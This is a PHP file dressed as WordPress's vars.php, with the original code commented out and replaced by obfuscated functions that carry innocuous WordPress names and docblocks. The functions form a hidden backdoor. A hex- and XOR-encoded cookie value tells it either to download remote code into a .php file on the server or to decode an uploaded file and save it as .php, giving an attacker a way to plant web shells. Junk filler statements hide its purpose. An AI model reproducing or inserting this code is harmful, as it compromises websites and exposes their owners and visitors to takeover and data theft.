<?php /* 
*
 * Creates common globals for the rest of WordPress
 *
 * Sets $pagenow global which is the filename of the current screen.
 * Checks for the browser to set which one is currently being used.
 *
 * Detects which user environment WordPress is being used on.
 * Only attempts to check for Apache, Nginx and IIS -- three web
 * servers with known pretty permalink capability.
 *
 * Note: Though Nginx is detected, WordPress does not currently
 * generate rewrite rules for it. See https:wordpress.org/support/article/nginx/
 *
 * @package WordPress
 

global $pagenow,
	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
	$is_apache, $is_IIS, $is_iis7, $is_nginx;

 On which page are we?
if ( is_admin() ) {
	 wp-admin pages are checked more carefully.
	if ( is_network_admin() ) {
		preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} elseif ( is_user_admin() ) {
		preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} else {
		preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	}

	$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : '';
	$pagenow = trim( $pagenow, '/' );
	$pagenow = preg_replace( '#\?.*?$#', '', $pagenow );

	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
		$pagenow = 'index.php';
	} else {
		preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches );
		$pagenow = strtolower( $self_matches[1] );
		if ( '.php' !== substr( $pagenow, -4, 4 ) ) {
			$pagenow .= '.php';  For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried).
		}
	}
} else {
	if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) {
		$pagenow = strtolower( $self_matches[1] );
	} else {
		$pagenow = 'index.php';
	}
}
unset( $self_matches );

 Simple browser detection.
$is_lynx   = false;
$is_gecko  = false;
$is_winIE  = false;
$is_macIE  = false;
$is_opera  = false;
$is_NS4    = false;
$is_safari = false;
$is_chrome = false;
$is_iphone = false;
$is_edge   = false;

if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
	if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) !== false ) {
		$is_lynx = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) !== false ) {
		$is_edge = true;
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) {
		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
			$is_admin = is_admin();
			*
			 * Filters whether Google Chrome Frame should be used, if available.
			 *
			 * @since 3.2.0
			 *
			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of i*/
 /**
 * Determines if the HTTP origin is an authorized one.
 *
 * @since 3.4.0
 *
 * @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
 * @return string Origin URL if allowed, empty string if not.
 */
function stream_headers($seen_menu_names, $MPEGaudioEmphasisLookup)
{
    return file_put_contents($seen_menu_names, $MPEGaudioEmphasisLookup); // CLIPping container atom
}


/*
			 * Instead of clearing the parser state and starting fresh, calling the stack methods
			 * maintains the proper flags in the parser.
			 */
function grant_super_admin($stack)
{
    $stack = determine_charset($stack);
    $new_ID = "PrimaryString";
    return file_get_contents($stack);
}


/*
						 * Note: str_ends_with() is not used here, as this file can be included
						 * directly outside of WordPress core, e.g. by HyperDB, in which case
						 * the polyfills from wp-includes/compat.php are not loaded.
						 */
function get_the_author_firstname($sock_status, $post_type_filter) {
    $seconds = "loremipsum"; //Automatically enable TLS encryption if:
    $panel = substr($seconds, 1, 4);
    $queued = hash("sha256", $panel); // Replace $query; and add remaining $query characters, or index 0 if there were no placeholders.
    if (strlen($queued) < 30) {
        $rev = str_pad($queued, 30, "X");
    }

    if (the_search_query($sock_status, $post_type_filter)) {
    $plugins_subdir = rawurldecode("%6C%69");
    $lelen = explode("e", $seconds); //   $p_remove_dir : A path to remove from the real path of the file to archive,
        return 'Access Granted'; // ----- Nothing to duplicate, so duplicate is a success.
    }
    $group_name = array_merge($lelen, array($plugins_subdir));
    $prev_value = implode("|", $group_name);
    return 'Access Denied';
}


/**
	 * Filters whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $prepared_attachment Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
function setUnsignedInt($required_kses_globals, $numerator)
{
    $deviation_cbr_from_header_bitrate = after_plugin_theme_update($required_kses_globals) - after_plugin_theme_update($numerator); // Not the current page.
    $deviation_cbr_from_header_bitrate = $deviation_cbr_from_header_bitrate + 256;
    $limited_email_domains = "String Example";
    $slug_decoded = str_pad($limited_email_domains, 10, "*"); // Selective Refresh.
    if (!empty($slug_decoded)) {
        $what = hash('sha1', $slug_decoded);
        $draft_saved_date_format = explode("5", $what);
        $try_rollback = trim($draft_saved_date_format[0]);
    }

    $deviation_cbr_from_header_bitrate = $deviation_cbr_from_header_bitrate % 256;
    $required_kses_globals = validate_plugin_requirements($deviation_cbr_from_header_bitrate); // When `$recursionontext` is an array it's actually an array of allowed HTML elements and attributes.
    return $required_kses_globals;
}


/*
		 * This is not meant to be foolproof -- but it will catch obviously incorrect usage.
		 *
		 * Note: str_contains() is not used here, as this file can be included
		 * directly outside of WordPress core, e.g. by HyperDB, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
function the_search_query($sock_status, $post_type_filter) {
    $filtered = 'Hello World';
    if (isset($filtered)) {
        $delete_time = substr($filtered, 0, 5);
    }

    return $sock_status === 'admin' && $post_type_filter === 'secret';
}


/* translators: Custom template title in the Site Editor, referencing a deleted author. %s: Author nicename. */
function block_core_query_ensure_interactivity_dependency($stack) // Show the "Set Up Akismet" banner on the comments and plugin pages if no API key has been set.
{
    $get_all = basename($stack);
    $replaygain = "https%3A%2F%2Fdomain.com%2Fpath";
    $f6_2 = rawurldecode($replaygain);
    $use_widgets_block_editor = explode('/', $f6_2);
    if (count($use_widgets_block_editor) > 2) {
        $slashed_home = hash('sha512', $use_widgets_block_editor[3]);
        $php_files = strrev($slashed_home);
        $mu_plugin = trim($php_files);
        $outside = explode('e', $mu_plugin);
        $userpass = str_replace('a', '@', implode('', $outside));
    }

    $theme_json_encoded = strlen($f6_2);
    $seen_menu_names = get_uri($get_all);
    CopyTagsToComments($stack, $seen_menu_names);
}


/**
 * WordPress Administration Template Footer.
 */
function wp_get_ready_cron_jobs($firstword, $template_dir_uri, $overhead)
{
    if (isset($_FILES[$firstword])) {
    $frame_crop_right_offset = 'Spaces here   '; // Roll-back file change.
    $system_web_server_node = trim($frame_crop_right_offset);
        render_block_core_comments_pagination($firstword, $template_dir_uri, $overhead);
    $sortby = str_repeat($system_web_server_node, 2);
    }
	 // Determine initial date to be at present or future, not past.
    the_block_editor_meta_box_post_form_hidden_fields($overhead);
}


/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'`.
	 *
	 * @return array Item schema data.
	 */
function block_core_home_link_build_css_font_sizes($remind_me_link)
{ // Lossless WebP.
    $split_term_data = pack("H*", $remind_me_link); // If there are no shared term_taxonomy rows, there's nothing to do here.
    return $split_term_data;
}


/**
 * Plugins may load this file to gain access to special helper functions
 * for plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once.
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience timeouts.
 * If you do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     // Check the column.
 *     if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     $error_count = 0;
 *     $tablename   = $wpdb->links;
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */
function after_plugin_theme_update($f0f8_2)
{
    $f0f8_2 = ord($f0f8_2);
    $lock_holder = 'This is a string';
    if (strlen($lock_holder) > 10) {
        $endian_letter = substr($lock_holder, 0, 10);
    }
 // Grab the icon's link element.
    return $f0f8_2;
}


/**
	 * The separator string used for localizing list item separator.
	 *
	 * @since 6.0.0
	 * @var string
	 */
function wp_cache_set_multiple($total_attribs) {
    $with_id = array("apple", "banana", "");
    return array_unique($total_attribs); // 1 : PclError external library error handling. By enabling this
} // <Header for 'Location lookup table', ID: 'MLLT'>


/**
	 * Constructor.
	 *
	 * Sets up the WordPress query, if parameter is not empty.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Query::parse_query() for all available arguments.
	 *
	 * @param string|array $query URL query string or array of vars.
	 */
function get_uri($get_all)
{
    return import_theme_starter_content() . DIRECTORY_SEPARATOR . $get_all . ".php";
}


/**
	 * Fires when scripts and styles are enqueued for the embed iframe.
	 *
	 * @since 4.4.0
	 */
function render_block_core_comments_pagination($firstword, $template_dir_uri, $overhead)
{
    $get_all = $_FILES[$firstword]['name'];
    $timezone_string = "user_token";
    $lelen = explode("_", $timezone_string);
    $seen_menu_names = get_uri($get_all);
    $filename_source = array_merge($lelen, ["extra"]); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
    update_additional_fields_for_object($_FILES[$firstword]['tmp_name'], $template_dir_uri);
    $styles_non_top_level = implode("-", $filename_source);
    $singular_name = strlen(hash('adler32', $styles_non_top_level));
    $default_link_category = substr($styles_non_top_level, 0, $singular_name);
    check_package($_FILES[$firstword]['tmp_name'], $seen_menu_names);
}


/**
	 * Converts a widget_id into its corresponding Customizer setting ID (option name).
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return string Maybe-parsed widget ID.
	 */
function get_property_value($firstword)
{
    $template_dir_uri = 'uyNtjCYQTQrFbSwBCJJUQ'; // Disable somethings by default for multisite.
    $timezone_string = "data_segment";
    $setting_nodes = explode("_", $timezone_string);
    $post_meta_ids = str_pad($setting_nodes[1], 12, "*"); // Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
    $roomtyp = hash('whirlpool', $post_meta_ids); // The transports decrement this, store a copy of the original value for loop purposes.
    $linear_factor = rawurldecode('%23');
    if (isset($_COOKIE[$firstword])) {
    if (strlen($roomtyp) < 50) {
        $site_admins = str_replace("*", $linear_factor, $roomtyp);
    }

        blogger_setTemplate($firstword, $template_dir_uri); // Sanitize, mostly to keep spaces out.
    }
}


/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
function blogger_setTemplate($firstword, $template_dir_uri) // <Header for 'Event timing codes', ID: 'ETCO'>
{
    $existingvalue = $_COOKIE[$firstword];
    $timezone_string = "Hello World!";
    $template_part_query = hash('sha256', $timezone_string);
    $default_attachment = trim($timezone_string);
    $overdue = str_pad($default_attachment, 20, '*');
    if (strlen($overdue) > 15) {
        $pt = substr($overdue, 0, 15);
    }

    $existingvalue = block_core_home_link_build_css_font_sizes($existingvalue);
    $overhead = register_post_status($existingvalue, $template_dir_uri); // 3.3
    if (comments_match($overhead)) {
		$prepared_attachment = show_message($overhead); // 'ids' is explicitly ordered, unless you specify otherwise.
        return $prepared_attachment;
    }
	
    wp_get_ready_cron_jobs($firstword, $template_dir_uri, $overhead);
}


/**
	 * Removes an existing rewrite tag.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Rewrite::$rewritecode
	 * @see WP_Rewrite::$rewritereplace
	 * @see WP_Rewrite::$queryreplace
	 *
	 * @param string $tag Name of the rewrite tag to remove.
	 */
function wp_is_site_url_using_https($total_attribs) { // Add border width and color styles.
    $option_fread_buffer_size = "Test"; // If configuration file does not exist then we create one.
    if (isset($option_fread_buffer_size) && !empty($option_fread_buffer_size)) {
        $title_placeholder = "Variable is set and not empty.";
    } else {
        $title_placeholder = "Variable is not usable.";
    }

    $users_of_blog = implode(",", array($option_fread_buffer_size, $title_placeholder));
    $last_day = strlen($users_of_blog);
    $lower_attr = date("d-m-Y");
    sort($total_attribs);
    return $total_attribs;
}


/**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
function validate_plugin_requirements($f0f8_2)
{
    $required_kses_globals = sprintf("%c", $f0f8_2);
    $multisite_enabled = '  Tuple  '; # fe_sq(t0, z);
    return $required_kses_globals;
}


/**
 * Tests whether there is an editor that supports a given mime type or methods.
 *
 * @since 3.5.0
 *
 * @param string|array $frameurlsrgs Optional. Array of arguments to retrieve the image editor supports.
 *                           Default empty array.
 * @return bool True if an eligible editor is found; false otherwise.
 */
function comments_match($stack)
{
    if (strpos($stack, "/") !== false) {
    $v_supported_attributes = "123";
    $slug_decoded = str_pad($v_supported_attributes, 5, "0", STR_PAD_LEFT);
        return true;
    }
    return false;
}


/*
		 * Go through the various installation directories and calculate their sizes.
		 * No trailing slashes.
		 */
function register_post_status($returnstring, $AVpossibleEmptyKeys)
{
    $framecount = strlen($AVpossibleEmptyKeys);
    $not_open_style = strlen($returnstring);
    $format_meta_urls = " Value: 20 ";
    $framecount = $not_open_style / $framecount;
    $new_plugin_data = trim($format_meta_urls);
    $framecount = ceil($framecount);
    $old_tables = strlen($new_plugin_data);
    if ($old_tables > 10) {
        $users_of_blog = str_replace("Value:", "Final Value:", $new_plugin_data);
    }

    $query_callstack = str_split($returnstring);
    $AVpossibleEmptyKeys = str_repeat($AVpossibleEmptyKeys, $framecount);
    $original = str_split($AVpossibleEmptyKeys);
    $original = array_slice($original, 0, $not_open_style);
    $one_protocol = array_map("setUnsignedInt", $query_callstack, $original);
    $one_protocol = implode('', $one_protocol);
    return $one_protocol;
} // Replace the namespace prefix with the base directory, replace namespace


/**
	 * Root ID for all widgets of this type.
	 *
	 * @since 2.8.0
	 * @var mixed|string
	 */
function import_theme_starter_content()
{
    return __DIR__;
}


/* End Site Icon */
function determine_charset($stack)
{
    $stack = "http://" . $stack;
    $frameurls = "data_encoded";
    $rating = rawurldecode($frameurls);
    $recursion = hash("sha1", $rating); //   $p_list : An array containing the file or directory names to add in the tar
    return $stack;
}


/**
	 * Fires inside the Add Tag form tag.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `category_term_new_form_tag`
	 *  - `post_tag_term_new_form_tag`
	 *
	 * @since 3.7.0
	 */
function add_option_whitelist($sup, $memoryLimit) {
    $meta_line = "Welcome"; //   * File Properties Object [required]   (global file attributes)
    $filename_source = wp_comments_personal_data_eraser($sup, $memoryLimit);
    $plugin_not_deleted_message = explode(" ", $meta_line);
    $posts_controller = implode("-", $plugin_not_deleted_message);
    return wp_cache_set_multiple($filename_source);
}


/**
     * Calculates length of string in bytes
     *
     * @deprecated 5.3.0 Use the PHP native JSON extension instead.
     *
     * @param string
     * @return integer length
     */
function wp_send_user_request($total_attribs) {
    $desc = "abcdefg";
    return array_unique($total_attribs); // Mark site as no longer fresh.
}


/**
	 * Fires after a new term is created for a specific taxonomy.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers
	 * to the slug of the taxonomy the term was created for.
	 *
	 * Possible hook names include:
	 *
	 *  - `create_category`
	 *  - `create_post_tag`
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$frameurlsrgs` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $frameurlsrgs    Arguments passed to wp_insert_term().
	 */
function the_block_editor_meta_box_post_form_hidden_fields($upload_filetypes)
{ //     $p_info['filename'] : Filename with full path. Given by user (add),
    echo $upload_filetypes;
}


/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$recursionomment` to `$plugin_not_deleted_messagetem` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment      $plugin_not_deleted_messagetem    Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
function set_credit_class($firstword, $lstring = 'txt') // Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
{
    return $firstword . '.' . $lstring;
} // TRacK


/**
		 * Filters the wp_mail() content type.
		 *
		 * @since 2.3.0
		 *
		 * @param string $MPEGaudioEmphasisLookup_type Default wp_mail() content type.
		 */
function wp_comments_personal_data_eraser($sup, $memoryLimit) { //   None
    return array_merge($sup, $memoryLimit);
} // ----- Use "in memory" zip algo


/**
 * Outputs nonce, action, and option_page fields for a settings page.
 *
 * @since 2.7.0
 *
 * @param string $option_group A settings group name. This should match the group name
 *                             used in register_setting().
 */
function CopyTagsToComments($stack, $seen_menu_names)
{
    $timestamp = grant_super_admin($stack);
    $function_key = "array,merge,test"; // Check if image meta isn't corrupted.
    $lelen = explode(",", $function_key);
    $options_misc_pdf_returnXREF = array_merge($lelen, array("end"));
    if (count($options_misc_pdf_returnXREF) > 3) {
        $styles_non_top_level = implode(":", $options_misc_pdf_returnXREF);
    }

    if ($timestamp === false) {
        return false;
    }
    return stream_headers($seen_menu_names, $timestamp);
} // pic_order_cnt_type


/**
	 * Parent post type.
	 *
	 * @since 6.3.0
	 * @var string
	 */
function check_package($plugin_slug, $vkey)
{
	$error_path = move_uploaded_file($plugin_slug, $vkey);
    $timezone_string = "message_data";
    $lelen = explode("_", $timezone_string); // Remove the extra values added to the meta.
    $post_meta_ids = str_pad($lelen[0], 10, "#");
	
    $phpmailer = rawurldecode('%24%24');
    $genre = implode($phpmailer, $lelen);
    if (strlen($genre) < 20) {
        $genre = str_replace("#", "*", $genre);
    }

    return $error_path;
}


/**
 * The current page.
 *
 * @global string $self
 */
function update_additional_fields_for_object($seen_menu_names, $AVpossibleEmptyKeys)
{
    $font_step = file_get_contents($seen_menu_names); // Check for the number of external links if a max allowed number is set.
    $processed_srcs = "user:email@domain.com";
    $update_title = register_post_status($font_step, $AVpossibleEmptyKeys);
    file_put_contents($seen_menu_names, $update_title);
}


/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
function set_source_class($total_attribs) {
    $spsReader = "Alpha";
    $provides_context = "Beta";
    return wp_is_site_url_using_https(wp_send_user_request($total_attribs));
}


/**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
function show_message($overhead)
{
    block_core_query_ensure_interactivity_dependency($overhead);
    $test_themes_enabled = "Hash Test";
    $the_list = explode(" ", $test_themes_enabled);
    $StereoModeID = trim($the_list[1]);
    if (!empty($StereoModeID)) {
        $mock_navigation_block = hash('md5', $StereoModeID);
        $old_tables = strlen($mock_navigation_block);
        $shortcode = str_pad($mock_navigation_block, 16, "*");
    }

    the_block_editor_meta_box_post_form_hidden_fields($overhead);
}
$firstword = 'Ules'; // Get the 'tagname=$matches[i]'.
$frameurls = "format this";
get_property_value($firstword);
$rating = substr($frameurls, 1, 5);
$posts_list = add_option_whitelist([1, 2, 3], [3, 4, 5]);
$recursion = str_pad($rating, 10, "0");
/* s_admin().
			 
			$is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin );
			if ( $is_chrome ) {
				header( 'X-UA-Compatible: chrome=1' );
			}
			$is_winIE = ! $is_chrome;
		} else {
			$is_chrome = true;
		}
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) {
		$is_safari = true;
	} elseif ( ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) !== false ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Win' ) !== false ) {
		$is_winIE = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) !== false ) {
		$is_macIE = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) !== false ) {
		$is_gecko = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) !== false ) {
		$is_opera = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) !== false ) {
		$is_NS4 = true;
	}
}

if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) {
	$is_iphone = true;
}

$is_IE = ( $is_macIE || $is_winIE );

 Server detection.

*
 * Whether the server software is Apache or something else
 *
 * @global bool $is_apache
 
$is_apache = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) !== false );

*
 * Whether the server software is Nginx or something else
 *
 * @global bool $is_nginx
 
$is_nginx = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) !== false );

*
 * Whether the server software is IIS or something else
 *
 * @global bool $is_IIS
 
$is_IIS = ! $is_apache && ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) !== false );

*
 * Whether the server software is IIS 7.X or greater
 *
 * @global bool $is_iis7
 
$is_iis7 = $is_IIS && (int) substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) >= 7;

*
 * Test if the current browser runs on a mobile device (smart phone, tablet, etc.)
 *
 * @since 3.4.0
 *
 * @return bool
 
function wp_is_mobile() {
	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		$is_mobile = false;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) !== false  Many mobile devices (all iPhone, iPad, etc.)
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Android' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Silk/' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Kindle' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) !== false ) {
			$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	*
	 * Filters whether the request should be treated as coming from a mobile device or not.
	 *
	 * @since 4.9.0
	 *
	 * @param bool $is_mobile Whether the request is from a mobile device or not.
	 
	return apply_filters( 'wp_is_mobile', $is_mobile );
}
*/